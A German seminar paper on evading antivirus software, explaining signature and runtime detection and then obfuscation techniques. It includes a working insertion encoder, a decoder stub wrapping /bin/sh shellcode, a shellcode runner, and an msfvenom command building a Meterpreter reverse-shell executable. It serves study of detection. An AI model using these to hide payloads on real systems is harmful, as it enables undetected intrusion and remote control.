ausarbeitung -...

FakultätInformatik

Ausarbeitung SeminarÜber das Thema

AV-Evasion

Autor: Birk [email protected]

Prüfer: Prof. Dr. Hellmann

Abgabedatum: 08.06.2015

INHALTSVERZEICHNIS

II Inhaltsverzeichnis

II Inhaltsverzeichnis I

II Abbildungsverzeichnis III

IIITabellenverzeichnis IV

IV Listing-Verzeichnis IV

V Abkürzungsverzeichnis V

1 Einleitung 11.1 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11.2 Ziel der Arbeit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11.3 Vorgehen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

2 Geschichte 2

3 Antiviren Systeme 23.1 Signatur basierende Erkennung . . . . . . . . . . . . . . . . . . . . . . . . 33.2 Runtime Erkennung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

3.2.1 Virtualisierung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33.2.2 System Hooks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

4 AV-Evasion 44.1 Encoder & Decoder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

4.1.1 Stub . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44.1.2 Rotate . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44.1.3 NOT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54.1.4 XOR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64.1.5 Insertion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

4.1.5.1 Theorie . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74.1.5.2 Praxis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

4.1.6 Verketten . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114.1.7 Polymorphie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

4.2 Skript Sprachen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124.3 Proof of Concept . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

4.3.1 Vorbereitung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134.3.1.1 Virus Total . . . . . . . . . . . . . . . . . . . . . . . . . . 134.3.1.2 Meterpreter . . . . . . . . . . . . . . . . . . . . . . . . . . 134.3.1.3 Test . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

4.3.2 Crypter AES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144.3.3 AES Brute-Force in Memory . . . . . . . . . . . . . . . . . . . . . . 164.3.4 Test . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 204.3.5 AV-Evasion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

Ausarbeitung Seminar über AV-EvasionBirk Kauer Seite I

INHALTSVERZEICHNIS

5 Fazit 21

6 Quellenverzeichnis 22

Anhang I

Ausarbeitung Seminar über AV-EvasionBirk Kauer Seite II

VERZEICHNISSE

II AbbildungsverzeichnisAbb. 1 Marktanteil Antiviren Systeme Januar 2015 . . . . . . . . . . . . . . . 2Abb. 2 Meterpreter Test Scan . . . . . . . . . . . . . . . . . . . . . . . . . . . 13Abb. 3 Meterpreter Connection . . . . . . . . . . . . . . . . . . . . . . . . . . 20Abb. 4 VirusTotal AES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

Ausarbeitung Seminar über AV-EvasionBirk Kauer Seite III

VERZEICHNISSE

III TabellenverzeichnisTab. 1 Wahrheitstabelle NOT(¬) . . . . . . . . . . . . . . . . . . . . . . . . 6Tab. 2 Wahrheitstabelle XOR(⊕) . . . . . . . . . . . . . . . . . . . . . . . . 6Tab. 3 Polymorphie Encoder . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

IV Listing-VerzeichnisLst. 1 Rotate Encoder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5Lst. 2 Rotate Decoder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5Lst. 3 Programm Rotate Encoder . . . . . . . . . . . . . . . . . . . . . . . . . 5Lst. 4 Programm XOR Encoder . . . . . . . . . . . . . . . . . . . . . . . . . . 6Lst. 5 C++ Gerüst1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7Lst. 6 Insertion-Encoder/Insertion-Encoder.py . . . . . . . . . . . . . . . . . . 8Lst. 7 Ausgabe Insertion-Encoder.py . . . . . . . . . . . . . . . . . . . . . . . . 8Lst. 8 Insertiondecoder.nasm [1] . . . . . . . . . . . . . . . . . . . . . . . . . . 9Lst. 9 Decoded Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10Lst. 10äquivalente Instruktionen . . . . . . . . . . . . . . . . . . . . . . . . . . 11Lst. 11Müll Instruktionen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11Lst. 12AES Crypter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14Lst. 13AES Verschlüsselt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16Lst. 14AES Brute-Force . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

Ausarbeitung Seminar über AV-EvasionBirk Kauer Seite IV

VERZEICHNISSE

V AbkürzungsverzeichnisBIT Stellt eine 1 oder 0 dar im Binär SystemBYTE Ein 8 BIT großes WortWORD Ein 16 Bit/2 Byte großes WortDWORD Ein 32 Bit/4 Byte großes Wort(Double WORD)JMP Assembler: Sprung an eine Stelle im AdressbereichMOV Assembler: Schreibt einen Wert oder den Wert einer Adresse/Register in

einen RegisterRCL Assembler: Rotate mit Carry Flag auf LinksRCR Assembler: Rotate mit Carry Flag auf RechtsPUSH Assembler: Schreibt den Wert auf den Stack und verringert den ESP

PointerPOP Assembler: Löscht den letzten Eintrag auf dem Stack und schreibt ihn in

den Übergebenen Register; ESP + 1RET Assembler: Poped(POP) die Return Adresse von dem Stack und springt

dort hinCALL Assembler: Aufruf einer Funktion. Die Eigene Adresse + 1 wird auf den

Stack gepusht(PUSH) und erwartet am Ende der Funktion ein RETEntry-Point Einstiegs Adresse eines ProgrammesOpcodes Die Hexadezimal Nummer eines Maschinenbefehls z.B. EB für ShortjumpShellcode Eine aneinander Reihung vonOpcodes, welche ein kleines Programm

ergeben

Ausarbeitung Seminar über AV-EvasionBirk Kauer Seite V

Kapitel 1 Einleitung

1 EinleitungDiese Arbeit beschäftigt sich mit dem Thema „Antiviren-avoidance“(kurz: AV-Evasion).Dabei wird auf die verschiedene Wege eingegangen, um Antiviren Programme zu umgehenohne die eigentlichen Programme in ihrer Logik zu verändern. Dabei beginnt diese Arbeitmit den anfänglichen Techniken und endet bei aktuelleren Methoden.

1.1 MotivationMein persönliches Interesse an immer weiter entwickelten Methoden die Programmierersolcher Programme auszutricksen. Diese Arbeit beinhaltet auch eine Methode, welchenicht öffentlich zugänglich ist und daher einmal niedergeschrieben werden sollte.

1.2 Ziel der ArbeitEs sollte für Informatiker wichtig zu Wissen sein, dass das reine Schützen durch Anti-viren Programme nicht mehr ausreichend Sicher ist. Für ein sicheres System muss nochviel mehr gemacht werden, als sich Blind auf Antiviren Hersteller zu verlassen. AntivirenProgramme können den größten Teil an Viren abfangen können aber nicht den neues-ten Markt abdecken. Die Arbeit soll verschiedene Methoden aufzeigen diese AntivirenProgramme auszutricksen.

1.3 VorgehenDie Arbeit ist zeitlich gegliedert. Dies bedeutet sie fängt mit dem ersten Aufkommenvon Antiviren Programmen an und arbeitet sich zeitlich über die älteren Methoden biszu aktuellen Methoden. Wichtig hierbei ist, dass in dieser Arbeit nicht jede Methode be-schrieben werden kann. Es werden nur die Methoden aufgeführt welche mir selber bekanntsind und ich als hilfreich empfunden habe. Diese Arbeit ist sehr detailliert im AssemblerBereich. Zur Hilfe wird ein Assembler Befehlssatz im Anhang hinzugefügt.

Ausarbeitung Seminar über AV-EvasionBirk Kauer Seite 1

Kapitel 3 Geschichte

2 GeschichteAls in den 80er Jahren die ersten Viren aufkamen (nicht alle waren schädlich) wurdeder Bedarf an Antiviren Programmen immer größer. Die ersten Antiviren Programmehatten damals sehr primitive Algorithmen zur Erkennung von bösartigen Programmen.Es wurde oft nur einfaches Pattern-Matching verwendet und meistens auch nur im Hea-der des Programms. Durch die Jahre verbesserten sich die Erkennungsalgorithmen durchdie immer trickreicher werdenden Umgehungsstrategien der Viren-Hersteller. Heutzutagebringen Antiviren Programme weit mehr mit als einfaches Pattern-Matching. Die meis-ten haben ihre komplett eigene Sandbox um möglichen Schadcode vorher in der Sandboxauszuführen und erkennen dadurch mögliches bösartiges Verhalten.

3 Antiviren SystemeZum Einstieg eine Statistik des Marktanteils von verschiedenen Antiviren Systemen unterWindows im Januar 2015:

Abbildung 1: Marktanteil Antiviren Systeme Januar 20152

Der Balken „Andere“ der Abbildung 1 zeigt wie viele Verschiedene Antiviren Herstellerauf dem Markt sind und wie stark dieser umkämpft ist. Bei solch zahlreichen Unterschied-lichen Antiviren Systeme ist es klar, dass nicht alle genau gleich funktionieren und sicheinige Antiviren Systeme von den anderen Absetzen können. Dabei muss bei den Syste-

2Quelle: http://de.statista.com/statistik/daten/studie/169911/umfrage/marktanteil-der-anbieter-von-windows-Antiviren-anwendungen/


http://de.statista.com/statistik/daten/studie/169911/umfrage/marktanteil-der-anbieter-von-windows-Antiviren-anwendungen/

http://de.statista.com/statistik/daten/studie/169911/umfrage/marktanteil-der-anbieter-von-windows-Antiviren-anwendungen/

Kapitel 4 Antiviren Systeme

men zwischen den verschiedenen Erkennungsfeatures unterscheiden, welche die Systemeaufweisen.

3.1 Signatur basierende ErkennungDiese Methode beherrschen alle vollwertigen Antiviren Systeme. Es werden Signaturenvon bösartigen Programmen in einer Datenbank gespeichert und falls ein Programm dieseSignatur aufweist ist es ein mögliches Schadprogramm.

Diese Art der Erkennung wird bei dem Scan einer nicht ausgeführten Datei verwendet.

3.2 Runtime ErkennungHierbei geht es um die Erkennung von Bösartigem Code während er ausgeführt wird bzw.im Hauptspeicher arbeitet. Bei dieser Methodik unterscheiden sich die Meisten Antiviren-Hersteller, da dieses Thema sehr Komplex ist. Generell ist es schwer Aussagen über dieMethoden zu machen, da die Antiviren Hersteller dies unter Verschluss halten, weil siesich damit von der Konkurrenz in der Erkennungsrate absetzen.

3.2.1 Virtualisierung

Es gibt Antiviren Hersteller, die auf das virtualisieren der ausführbaren Datei setzen.Bedeutet, sobald die Datei gescannt wird, kommt sie in eine Art Sandboxed Umgebung,wo alle Operationen des Schadcodes virtualisiert werden. So lässt sich z. B. der Versucheine Verbindung zu einem anderen Rechner simulieren und je nach Datenaustausch alsbösartig oder nicht einstufen.

3.2.2 System Hooks

Der Versuch von Antiviren Systeme mögliche bösartige Systemaufrufe abzufangen. Hierbeiwird der Systemaufruf von einer Methode des Antiviren Programms überschrieben, wodie Funktion Parameter an das Antiviren Programm zurückliefet und danach erst denoriginalen Systemaufruf ausführt. Bei einer möglichen Erkennung könnte so das AntivirenProgramm den Aufruf unterbrechen und das System von der Bedrohung bereinigen.

Als Beispiel benutzt die Meterpreter Payload für das Kommando migrate die ReadPro-cessMemory und WriteProcessMemory Funktion um sich in den Speicher von anderenAnwendungen zu schreiben und dort wieder Auszuführen. Diese Systemcalls werden voneinigen Antivir Systemen mit System Hooks überwacht.


Kapitel 4 AV-Evasion

4 AV-EvasionDie ersten Möglichkeiten die Erkennung eines Antiviren Programms zu verhindern, wardas einfache Verändern von Header Einträgen(Meta-Daten) in den jeweiligen Viren. Diesbedeutet Antiviren Hersteller haben früher Pattern-Matching auf z. B. Namen von Au-toren/Kompilierungszeitpunkt oder andere Meta-Daten, welche miteinander Korreliertworden sind, verwendet. Da die Meta-Daten technisch gesehen nichts mit der Ausführungdes Codes zu tun haben, konnten diese einfach durch z. B. ein Bitflip verändert werdenund die Antiviren Programme haben nichts mehr erkannt.

4.1 Encoder & DecoderDa auch die Antiviren Hersteller merkten, wie einfach ihr Produkt zu umgehen war im-plementierten sie das Pattern-Matching auch auf die Code und Data Sektion einer Aus-führbaren Datei. Somit wurden nicht nur noch Meta-Daten-Pattern in der Datenbankgespeichert, sondern auch Code oder Data-Blöcke aus dem Programm. Je nach Antiviruswurden die Blöcke gehasht oder mit anderen Techniken verglichen. Abhilfe für die VirenHersteller wurden dann Encoder und Decoder. Ein Encoder „verschlüsselt“ dem ihm gege-ben Text/Hex/Binär mit der jeweiligen Technik. So wird ein Virus vor der Auslieferungfast komplett verschlüsselt durch einen Encoder. Das Entschlüsseln übernimmt dann derStub.

4.1.1 Stub

Ein Stub ist eine Art Unterprogramm welches von dem Virus Hersteller oder Verteilerhinzugefügt wird. Es ist eines der ersten Aktionen, welches dann ein Virus ausführt. Indiesem Stub sind Decoder verborgen, welche den ausführbaren Programmcode zurückentschlüsseln. Oft erkennt man einen Stub daran, dass kurz nach dem Entry-Point ei-nes Programms einen far Jump(JMP) oder CALL an eine weit entfernte Adresse in demProgramm springt um dort dann das Programm zu entschlüsseln. Nach dem erfolgreichenEntschlüsseln springt der Stub zurück an den Anfang des Programms kurz nach dem eige-nen Jump oder CALL. Dies passiert via einem Jump oder der Return(RET) Instruktion.Wichtig ist auch, dass der Bereich in den der Stub schreibt, beschreibbar ist. Dies ist auchzu einem Späteren Zeitpunkt noch änderbar selbst nach der vollständigen Kompelierung.

4.1.2 Rotate

Rotate bietet sich als einfacher Encoder an, da keine Informationen beim Rotieren einesBYTE oder DWORD verloren geht.



z. B. bei einem Byte von „1000 0001“ (\x81 in Hexadezimaler schreibweiße) wird mit demAssembler Befehlssatz von RCL und MOV:

1 MOV EAX , 81RCL EAX

Listing 1: Rotate Encoder

Ein Byte mit „0000 0011“ um das ganze wieder in den Ursprungszustand zu setzen benutztman die Komplementär Funktion RCR

RCR EAX

Listing 2: Rotate Decoder

und das Byte ist wieder im Ursprungszustand: „1000 0001“ Damit kann sich einfach derKomplette Programm Code „verschlüsselt“ werden.

1 MOV EAX , 00404406 Start Adresse des Encoders:L1 Sprung Marke (Loop)

3 RCL BYTE PTR DS:[EAX] Rotiert das Byte an der Pointer Adresse EAXINC EAX Inkrementiert EAX um 1

5 CMP EAX , 00406666 Schreibt in ein Flag das Ergebniss Adresse - EAXJLE L1 Springe zu L1 wenn Flag kleiner gleich 0 ist

7 RET Beende die Funktion

Listing 3: Programm Rotate Encoder

Der Decoder Stub funktioniert analog, es ändert sich nur das RCL zu RCR.

4.1.3 NOT

Die NOT Funktion oder das negieren (∼,¬) eignet sich sehr gut zum verschleiern von ei-nem Programmcode, da durch eine weitere Negation der Ursprungswert wieder hergestelltwird.

die Wahrheitstabelle der NOT funktion sieht folgendermaßen aus:

Angenommen es soll ein short JMP verschleiert werden welches als hex dargestellt wirdmit \xEB \x04.EB ist hierbei die Instruktion für den Short Jump und 04 beschreibt wie viele Bytes in



A ¬A0 11 0

Tabelle 1: Wahrheitstabelle NOT(¬)

welche Richtung gesprungen wird. Ist die zweite Hexadecimal Zahl größer als 7F so wirdRückwärts gesprungen.

Wird jetzt auf EB(’1110 1011’) der NOT Operator angewendet so erhält man in Hexade-zimal 14(’0001 0100’) welches im jeweiligen Kontext für den Processor keinen Sinn mehrergibt und das Programm in diesem Status abstürzen würde. Genauso sahen es ältereAntiviren Systeme und konnten daher auch keinen Möglichen Schadcode erkennen.

4.1.4 XORDie XOR Funktion oder ⊕ wurde lange Zeit benutzt um Programme zu Verschleiern.

Man Nehme A⊕B und daraus entsteht die Wahrheitstabelle:

A B A⊕B0 0 00 1 11 0 11 1 0

Tabelle 2: Wahrheitstabelle XOR(⊕)

Wird nun als Beispiel bei der ⊕ Operation ein Byte in Hexadezimal (\x01) und mit dem„Key“ Hexabyte (\x1F) logisch verodert so entsteht das verschlüsselte Byte(\x1E). Wirddieses verschlüsselte Byte nun wieder mit dem gleichen „Key“ logisch verodert so entstehtdas Ausgangs Byte (\x01). Der Aufbau eines kompletten En oder Decoder ist Identischzum Rotate Algorithmus.

1 MOV EAX , 00404406 Start Adresse des Encoders:L1 Sprung Marke (Loop)

3 XOR BYTE PTR DS:[EAX],1F XOR mit Key 1F auf EAXINC EAX Inkrementiert EAX um 1

5 CMP EAX , 00406666 Schreibt in ein Flag das Ergebniss Adresse - EAXJLE L1 Springe zu L1 wenn Flag kleiner gleich 0 ist

7 RET Beende die Funktion

Listing 4: Programm XOR Encoder



4.1.5 InsertionBeim Insertion En/Decoder werden keine arithmetischen Funktionen mehr benutzt son-dern man greift zum Einfügen und Entfernen von sogenannten „Müllbytes“. Um das Bei-spiel von En/Decodern näher zu bringen wird es zum Insertion Encoder einen theoreti-schen und einen komplett Praktischen Teil geben, welcher die Benutzung veranschaulichensoll.

4.1.5.1 Theorie Wie bei den vorherigen Techniken wird auch beim Insertion Encoderversucht zu verhindern, dass ein Antiviren das Programm versteht ohne dies auszuführen(normaler Scan). So versucht man hier jedes zweite Byte mit einem Müllbyte zu versehen.Dieses Müllbyte kann jedes denkbare Byte wie z. B. \xAA oder \xBB etc.Somit wird aus einem Array von Bytes [\xEB\x43\x48] mit dem Müllbyte von \xAAdieses Array [\xEB\xAA\x43\xAA\x48\xAA]. Jetzt wird noch eine Markierung für denDecoder benötigt, damit er rechtzeitig aufhört bevor er beim zusammensetzen weiterBytes mit reinbringt. Zur Markierung eignet sich jedes Byte, welches nicht \xAA ist.Warum sich jedes Byte eignet außer das \xAA Byte wird im praktischen Teil genauerklärt, da hier ein kleiner Trick angewandt wird. Das abschließende Array sieht dann soaus [\xEB\xAA\x43\xAA\x48\xAA\xBB] mit dem markierenden Abschlussbyte \xBB.

4.1.5.2 Praxis Damit es möglich ist, jeden geschriebenen Shellcode sicher in der eigenenVirtuellen Maschine oder ähnlichen Testumgebungen sicher auszuführen und zu Testenbenutzt man ein C++ Gerüst, welches den Shellcode sicher im Hauptspeicher platziertund ausführt. Das C++ Gerüst sieht wie folgt aus:

1 #include <stdio.h>#include <string.h>

3

char code[] = "Shellcode in Bytes";5

int main()7 {

printf("len:%d bytes\n", strlen(code));9 (*(void(*)()) code)();

return 0;11 }

Listing 5: C++ Gerüst3

3Quelle: http://shell-storm.org/shellcode/files/shellcode-806.php


http://shell-storm.org/shellcode/files/shellcode-806.php


In das Code Array wird der Shellcode geschrieben, mit der Anweisung (*(void(*)()) co-de)(); in den Hauptspeicher geladen und ausgeführt. Dies ist eine oft genutzte Möglichkeitseinen Shellcode zu testen und auszuführen. Eine Beispiel Quelle, wi ein solcher SourceCode zu finden ist ist in der Fußzeile verlinkt. Solche Code Skelette werden aber auf fastallen Shellcoding Seiten gefunden.

Als Beispiel Shellcode wird der von vorgegebene Shellcode von [Dad‘ http://shell-storm.org/shellcode/files/shellcode-806.php] (27 Bytes) verwendet, welcher eine neue/bin/sh mit einem System call aufruft. Dazu sollte gesagt werden, dass nicht allen Shellcodesim Internet getraut werden darf(Einige bringen auch System calls wie rm -r / mit sich).Dieser Code ist aber in Ordnung und für die Zwecke dieser Arbeit perfekt.

Der 27 Byte große Shellcode der Seite wird nun in einem Python script [1] Encoded:

1 #!/usr/bin/python# Python Insertion Encoder

3 shellcode = ("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

5 encoded = ""

7 print ’Encoded Shellcode ’

9 for x in bytearray(shellcode) :

11 encoded += ’0x’encoded += ’%02x,’ %x

13 encoded += ’0x%02x,’ % 0xAA

15 print encodedprint ’Len: %d’ % len(bytearray(shellcode))

Listing 6: Insertion-Encoder/Insertion-Encoder.py

Ausgabe des Encoders mit dem Müllbyte \xAA:

Encoded She l l c ode2 0x31 , 0 xaa , 0 xc0 , 0 xaa , 0 x48 , 0 xaa , 0 xbb , 0 xaa , 0 xd1 , 0 xaa , 0 x9d , 0 xaa , 0 x96 , 0 xaa , 0 x91

, 0 xaa , 0 xd0 , 0 xaa , 0 x8c , 0 xaa , 0 x97 , 0 xaa , 0 x f f , 0 xaa , 0 x48 , 0 xaa , 0 xf7 , 0 xaa , 0 xdb , 0xaa , 0 x53 , 0 xaa , 0 x54 , 0 xaa , 0 x5f , 0 xaa , 0 x99 , 0 xaa , 0 x52 , 0 xaa , 0 x57 , 0 xaa , 0 x54 , 0xaa , 0 x5e , 0 xaa , 0 xb0 , 0 xaa , 0 x3b , 0 xaa , 0 x0f , 0 xaa , 0 x05 , 0 xaa ,

Listing 7: Ausgabe Insertion-Encoder.py





Es ist nun erkennbar, dass jedes zweite Byte das Nullbyte ist und somit der SignaturScanner eines Antivirus diese Abfolge als nicht bösartig erkennt. Auch dieser Encoderbraucht einen sogenannten Stub um die Byte-folge wieder in die ursprüngliche Reihenfolgezu bringen.

Auch hier wird wieder ein Stub zum Decoden der Byte Folge zur Laufzeit gebraucht.

Insertion-Decoder-Stub.nasm:

; Filename: insertion -decoder.nasm2 ; Author: Vivek Ramachandran; Website: http :// securitytube.net

4 ; Training: http :// securitytube -training.com

6 ; Entry -Point wird auf _start: gelegtglobal _start

8

;Text Section10 section .text

12 ;Entry -Point_start:

14

;Für Relatives Addressing REL wird der String übersprungen16 jmp decoder

18 ;Hier passiert ein kleiner Trick für Relatives Adressieren in 64 Bit:;Der Shellcode wird oberhalb des Decoders geschrieben ,

20 ;damit der Shellcode Relativ zu RIP oberhalb liegt.;Würde der Shellcode unterhalb von RIP liegen , so würden 0x00 Bytes

22 ;entstehen , welche allgemein immer beim Senden;von Shellcode vermieden werden sollte.

24 ;Dadurch , dass der Shellcode oberhalb liegt ergeben sich;negative Sprung Adressen welche dann anstatt 0x00 mit 0xFF anfangen.

26

encoded_shellcode: db 0x31 ,0xaa ,0xc0 ,0xaa ,0x48 ,0xaa ,0xbb ,0xaa ,0xd1 ,0xaa ,0x9d ,0xaa ,0x96 ,0xaa ,0x91 ,0xaa ,0xd0 ,0xaa ,0x8c ,0xaa ,0x97 ,0xaa ,0xff,0xaa ,0x48 ,0xaa ,0xf7 ,0xaa ,0xdb ,0xaa ,0x53 ,0xaa ,0x54 ,0xaa ,0x5f ,0xaa ,0x99 ,0xaa ,0x52 ,0xaa ,0x57 ,0xaa ,0x54 ,0xaa ,0x5e ,0xaa ,0xb0 ,0xaa ,0x3b ,0xaa,0x0f ,0xaa ,0x05 ,0xbb ,0xbb ,0xbb

28

;Hier ist zu beachten , dass die 3 Letzten Bytes 0xbb30 ;einfach nur Markier Bytes sind , dass der Decoder korrekt abbricht.

;Ansicht ist nur das erste 0xbb wichtig. Die 2 weiteren 0xbb werden32 ;für padding verwendet.



34 ;Sprung Punkt zum Startzustand des Decoders.decoder:

36

;Relatives Adressieren der Adresse des Shellcodes in RSI38 lea rsi , [rel encoded_shellcode]

;RDI zeigt auf die zweite Stelle des Shellcodes -> 0xaa40 lea rdi , [rsi +1]

;RAX wird zu 042 xor rax , rax

;Schreibt eine 1 in RAX44 mov al, 1

;RBX wird zu 046 xor rbx , rbx

48 decode:;Holt das Byte + RAX aus dem Shellcode in RBX

50 mov bl, byte [rsi + rax];Setzt die Zero flag falls RBX XOR 0xaa 0 ergbiebt

52 xor bl, 0xaa;Falls das Zero Flag nicht gesetzt ist springe zum Shellcode

54 jnz short encoded_shellcode;Andernfalls hohle das Byte aus RSI + RAX + 1 in RBX

56 mov bl, byte [rsi + rax + 1];Ersetze das Byte worauf RDI zeigt (immer 0xaa) mit RBX

58 mov byte [rdi], bl;Erhöhe RDI um 1

60 inc rdi;Erhöhe RAX um 2(Zeigt auf das nächste 0xaa)

62 add al, 2;springe wieder zu decode (Schleife)

64 jmp short decode

Listing 8: Insertiondecoder.nasm [1]

Nachdem das Decoden des Shellcodes fertig ist und xor bl, 0xaa auf 0xbb trifft so wirddas Ergebnis nicht mehr 0 sein und der jump geht auf den Shellcode und führt in aus.Der Shellcode sollte zu diesem Zeitpunkt so aussehen:

0x31 , 0 xc0 , 0 x48 , 0 xbb , 0 xd1 , 0 x9d , 0 x96 , 0 x91 , 0 xd0 , 0 x8c , 0 x97 , 0 x f f , 0 x48 , 0 xf7 , 0 xdb, 0 x53 , 0 x54 , 0 x5f , 0 x99 , 0 x52 , 0 x57 , 0 x54 , 0 x5e , 0 xb0 , 0 x3b , 0 x0f , 0 x05 ,

2 0xaa , 0 xdb , 0 xaa , 0 x53 , 0 xaa , 0 x54 , 0 xaa , 0 x5f , 0 xaa , 0 x99 , 0 xaa , 0 x52 , 0 xaa , 0 x57 , 0 xaa, 0 x54 , 0 xaa , 0 x5e , 0 xaa , 0 xb0 , 0 xaa , 0 x3b , 0 xaa , 0 x0f , 0 xaa , 0 x05 , 0 xbb ,

Listing 9: Decoded Shellcode



Die ersten 27 Bytes wurden nun überschrieben und können ausgeführt werden. Dadurch,dass der Shellcode eine neue Shell aufruft, wird der Rest bzw. der Müll ignoriert und nichtausgeführt.

4.1.6 Verketten

Natürlich ist es möglich alle Arten des En- und Decoden hintereinander zu verketten umsomit die Erkennung zu erschweren. Z. B.

ROTATE ⇔ NOT ⇔ XOR

4.1.7 Polymorphie

Durch die Möglichkeit, auf die genannten Decoder Stubs Signaturen zu erstellen könnenAntiviren Systeme diese Decoder genau erkennen. Somit ist es egal wie gut der kompletteShellcode verschleiert ist können Antiviren Systeme allein an dem geschriebenen Decoder-Stub mögliche Viren erkennen.

Die Idee hinter Polymorphie ist es, jede verwendete Instruktion mit einer äquivalenten zuersetzen. Z.B. die Instruktion welche benutzt wird um Register zu nullen:

XOR RAX ,RAX2 ;würde in der FormMOV RBX , RAX

4 SUB RAX ,RBX;genau das gleiche Verursachen: RAX register wird genullt

6

;Als zweites Beispiel der PUSH von RAX auf den Stack8 PUSH RAX;Äquivalent wäre:

10 MOV QWORD [RSP -8], RAXSUB RSP , 8

Listing 10: äquivalente Instruktionen

Es ist genauso möglich zwischen den Instruktionen Müll Operationen einzufügen, welchekeine Auswirkung auf die Ausführung des Programms hat.

1 ;Vor XOR RAX ,RAX Instruktionen einsetzen wie

3 ADD RAX ,1INC RAX

5 SUB RAX; Denn egal , was vor XOR RAX , RAX passiert hat keine Auswirkung



7 XOR RAX ,RAX

Listing 11: Müll Instruktionen

Durch das ersetzen solcher Instruktionen mit Äquivalenten oder Müll Operationen kannjede neue Ausführbare Datei einzigartig gemacht werden und somit das setzen von Signa-turen sehr erschwert und nahezu unmöglich.

Es gibt auch mehrere Encoder, welche dies Automatisch übernehmen:

Encoder URLCLET http://phrack.org/issues/61/9.htmlADMutate http://ktwo.ca/VX Heavens Mirror http://vxheaven.org/lib/Shikata ga nai Metasploit-Framework Encoder

Tabelle 3: Polymorphie Encoder

Es gibt auch die Idee des Meta-Assemblers, welcher bei jeder neuen Code Erstellungandere Register für seine Zwecke verwendet. also statt RAX wird nun für das hin und herkopieren RBX verwendet oder andere verfügbare Register.

4.2 Skript SprachenDer Anstieg der Verwendung von Skript Sprachen wie Python, Ruby und Perl laut TIO-BE index erleichtert vielen System-Administratoren oder Programmieren die Automati-sierung der Aufgaben im Netzwerk. Seit der Einführung von Powershell und der vorabInstallation in Windows 7 benutzen auch immer mehr die Möglichkeit mit Powershell zuarbeiten. Antiviren Systeme sind aber dieser Entwicklung hinterher und betrachten diegeschriebenen Skripte sehr häufig als keine Gefahr. Selbst sehr bekannte bösartige Shellco-des werden innerhalb von z. B. Powershell Skripten nicht betrachtet. Dies zeigt vor allemdas Veil-Framework (https://www.veil-framework.com/), welches Skript Sprachen unteranderem auch benutzt.

4.3 Proof of ConceptZur Demonstration, dass es möglich ist alle aktuellen Antiviren Programme mit Verschleie-rung des Shellcodes zu überlisten, wurde der folgende Proof of Concept von dem Hype-rion Crypter[http://nullsecurity.net/tools/binary.html] Concept mit AES zu ver-schlüsseln Inspiriert. Der folgende Code wurde von mir persönlich Programmiert unter


http://phrack.org/issues/61/9.html

http://ktwo.ca/

http://vxheaven.org/lib/

http://nullsecurity.net/tools/binary.html


der Verwendung der Crypto++ Bibliothek. Das Ziel dieser Arbeit war es, die womög-lich bekannteste Shellcode Payload (Meterpreter) komplett unsichtbar für die AntivirenSysteme zu machen.

4.3.1 Vorbereitung

4.3.1.1 Virus Total Um das Konzept an möglichst vielen Antiviren Systemen zu testenwurde die Webseite www.VirusTotal.com ausgewählt. Virus Total benützt ca. 56-58 deraktuellen Antiviren Systeme von verschiedenen Herstellern um Dateien, welche auf dieSeite hochgeladen wurden zu testen und dem Benutzer als Rückmeldung alle Resultateder Antiviren Systeme zeigt. Virus Total besitzt auch ca 2-3 Scanner, welche die Dateizur Laufzeit testen.

4.3.1.2 Meterpreter Die Meterpreter payload ist seit langem in demMetasploit-Framework[http://www.metasploit.com/] vorhanden. Sie ist eine der mächtigsten Payloads im Reper-toire von Metasploit und wird von den meisten Antiviren Herstellern erkannt. Eine Über-sicht, was Meterpreter leisten kann, finde sie hier [http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics]

4.3.1.3 Test Um Referenzwerte zu bekommen wird Meterpreter aus dem Metasploit-Framework erzeugt und auf VirusTotal hochgeladen.

Um eine Meterpreter Payload zu erzeugen wird msfvenom verwendet, welches der neuePayload Generator im Metasploit-Framework ist.

Bash Command:# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.29 LPORT=1337 -b ’\x00’ -f

exe > test.exe

Die Analyse der erstellten Executable auf VirusTotal zeigt folgendes Bild:

Abbildung 2: Meterpreter Test Scan


www.VirusTotal.com

http://www.metasploit.com/

http://www.metasploit.com/

http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics

http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics


